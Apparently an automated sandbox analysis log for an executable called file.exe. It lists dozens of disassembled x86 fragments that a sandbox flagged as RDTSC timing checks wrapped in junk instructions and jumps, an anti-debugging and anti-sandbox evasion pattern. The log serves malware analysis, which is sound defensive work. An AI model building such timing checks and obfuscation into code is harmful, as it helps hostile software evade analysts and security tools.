Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA421 second address: CBA425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3EB second address: CBC3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3EF second address: CBC3F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3F3 second address: CBC3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3F9 second address: CBC3FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC3FF second address: CBC480 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FDDB4F28598h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 xor dword ptr [ebp+122D1C68h], ecx 0x00000029 push 00000000h 0x0000002b jmp 00007FDDB4F285A9h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FDDB4F28598h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov edi, 2BC12E61h 0x00000051 xchg eax, esi 0x00000052 push esi 0x00000053 push ebx 0x00000054 push edx 0x00000055 pop edx 0x00000056 pop ebx 0x00000057 pop esi 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC480 second address: CBC484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6125 second address: CB6129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD531 second address: CBD53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD53C second address: CBD540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD540 second address: CBD5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnc 00007FDDB4D5DC14h 0x0000000e nop 0x0000000f mov ebx, dword ptr [ebp+122D29EEh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FDDB4D5DBF8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D2E76h], ebx 0x00000037 push 00000000h 0x00000039 call 00007FDDB4D5DC00h 0x0000003e mov ebx, dword ptr [ebp+122D2AAAh] 0x00000044 pop ebx 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a js 00007FDDB4D5DBF6h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD5C2 second address: CBD5DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD5DD second address: CBD5FF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDB4D5DBFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDB4D5DBFFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB85DD second address: CB8607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jnp 00007FDDB4F285BAh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FDDB4F28596h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA64E second address: CBA67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DC03h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDB4D5DC07h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC61A second address: CBC628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FDDB4F28596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD6FB second address: CBD71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FDDB4D5DC05h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBD71C second address: CBD720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB6A8 second address: CBB706 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDDB4D5DBFCh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDDB4D5DBFEh 0x00000011 nop 0x00000012 adc bl, 00000066h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov dword ptr [ebp+122D2491h], ebx 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 sub ebx, 64D86BFCh 0x0000002f mov eax, dword ptr [ebp+122D0DB5h] 0x00000035 mov dword ptr [ebp+122D1BAEh], edi 0x0000003b push FFFFFFFFh 0x0000003d add dword ptr [ebp+122D1A7Bh], esi 0x00000043 nop 0x00000044 jc 00007FDDB4D5DC0Eh 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE7C0 second address: CBE7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC642A second address: CC6432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6432 second address: CC6438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6583 second address: CC65A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC09h 0x00000007 jc 00007FDDB4D5DBF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA2A second address: CCCA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007FDDB4F285A2h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA4C second address: CCCA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA50 second address: CCCA54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA54 second address: CCCA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA62 second address: AE7D0E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jne 00007FDDB4F2859Ch 0x00000016 jmp 00007FDDB4F285A7h 0x0000001b popad 0x0000001c pop eax 0x0000001d stc 0x0000001e push dword ptr [ebp+122D0DDDh] 0x00000024 jc 00007FDDB4F28597h 0x0000002a call dword ptr [ebp+122D1885h] 0x00000030 pushad 0x00000031 add dword ptr [ebp+122D189Bh], ecx 0x00000037 sub dword ptr [ebp+122D189Bh], edx 0x0000003d xor eax, eax 0x0000003f pushad 0x00000040 mov ecx, dword ptr [ebp+122D2A06h] 0x00000046 jmp 00007FDDB4F285A9h 0x0000004b popad 0x0000004c mov edx, dword ptr [esp+28h] 0x00000050 cmc 0x00000051 cld 0x00000052 mov dword ptr [ebp+122D2D32h], eax 0x00000058 mov dword ptr [ebp+122D1A53h], edi 0x0000005e mov esi, 0000003Ch 0x00000063 sub dword ptr [ebp+122D1A53h], eax 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D189Bh], edi 0x00000073 lodsw 0x00000075 mov dword ptr [ebp+122D1A53h], eax 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D1A53h], edi 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 stc 0x0000008a nop 0x0000008b pushad 0x0000008c pushad 0x0000008d jmp 00007FDDB4F2859Fh 0x00000092 jmp 00007FDDB4F285A6h 0x00000097 popad 0x00000098 jo 00007FDDB4F2859Ch 0x0000009e push eax 0x0000009f push edx 0x000000a0 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3AEC second address: CD3AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FDDB4D5DBF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3AF9 second address: CD3B03 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDB4F28596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCDC second address: C5BCF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FDDB4D5DBFCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCF3 second address: C5BD0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A0h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BD0D second address: C5BD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDDB4D5DC04h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2E3E second address: CD2E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD34B9 second address: CD34CD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FDDB4D5DBF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD34CD second address: CD34D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD34D1 second address: CD34E5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDB4D5DBF6h 0x00000008 jo 00007FDDB4D5DBF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCE9 second address: C5BCF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3633 second address: CD3638 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD378F second address: CD3798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3798 second address: CD379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD379E second address: CD37A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD391A second address: CD392F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DC01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD392F second address: CD3949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDDB4F28598h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007FDDB4F28596h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3949 second address: CD396C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FDDB4D5DBF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FDDB4D5DC04h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD396C second address: CD3979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FDDB4F28596h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7F4F second address: CD7F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7F53 second address: CD7F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7F5F second address: CD7F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD7F65 second address: CD7F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8094 second address: CD8098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8098 second address: CD80A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDB4F28596h 0x00000008 jnc 00007FDDB4F28596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD84D0 second address: CD84E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DBFEh 0x00000009 ja 00007FDDB4D5DBF6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8650 second address: CD866E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDB4F28596h 0x00000008 jmp 00007FDDB4F2859Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD866E second address: CD8674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8674 second address: CD8683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jg 00007FDDB4F28596h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8FE5 second address: CD8FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8FE9 second address: CD9031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDDB4F285A2h 0x00000010 jmp 00007FDDB4F285A5h 0x00000015 popad 0x00000016 pushad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9031 second address: CD903C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD903C second address: CD9064 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007FDDB4F28596h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FDDB4F285A5h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD95D second address: CDD996 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDB4D5DC0Bh 0x00000008 jmp 00007FDDB4D5DC05h 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jg 00007FDDB4D5DBF6h 0x00000016 jne 00007FDDB4D5DBF6h 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007FDDB4D5DBF8h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD996 second address: CDD9A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDDB4F28596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD9A2 second address: CDD9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD9A6 second address: CDD9BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE03E second address: CDE042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE042 second address: CDE052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F2859Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD667 second address: CDD673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD673 second address: CDD68E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD68E second address: CDD692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD692 second address: CDD698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE326 second address: CDE32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE32A second address: CDE360 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FDDB4F28598h 0x00000010 jc 00007FDDB4F285B1h 0x00000016 jmp 00007FDDB4F285A5h 0x0000001b jnp 00007FDDB4F28596h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE4CB second address: CDE4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDE603 second address: CDE60E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C660A3 second address: C660C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnp 00007FDDB4D5DBF6h 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDB4D5DBFFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C660C3 second address: C660FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnp 00007FDDB4F28596h 0x00000010 jmp 00007FDDB4F285A1h 0x00000015 jng 00007FDDB4F28596h 0x0000001b popad 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pop edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push edi 0x00000024 pop edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2F15 second address: CA2F5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FDDB4D5DBF8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov ecx, dword ptr [ebp+122D1AB9h] 0x0000002b sub dword ptr [ebp+122D17ACh], edx 0x00000031 mov edx, ebx 0x00000033 lea eax, dword ptr [ebp+1248ECB5h] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jng 00007FDDB4D5DBF6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2F5B second address: CA2F61 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA302E second address: CA305D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDDB4D5DC09h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FDDB4D5DBFAh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA305D second address: CA3061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
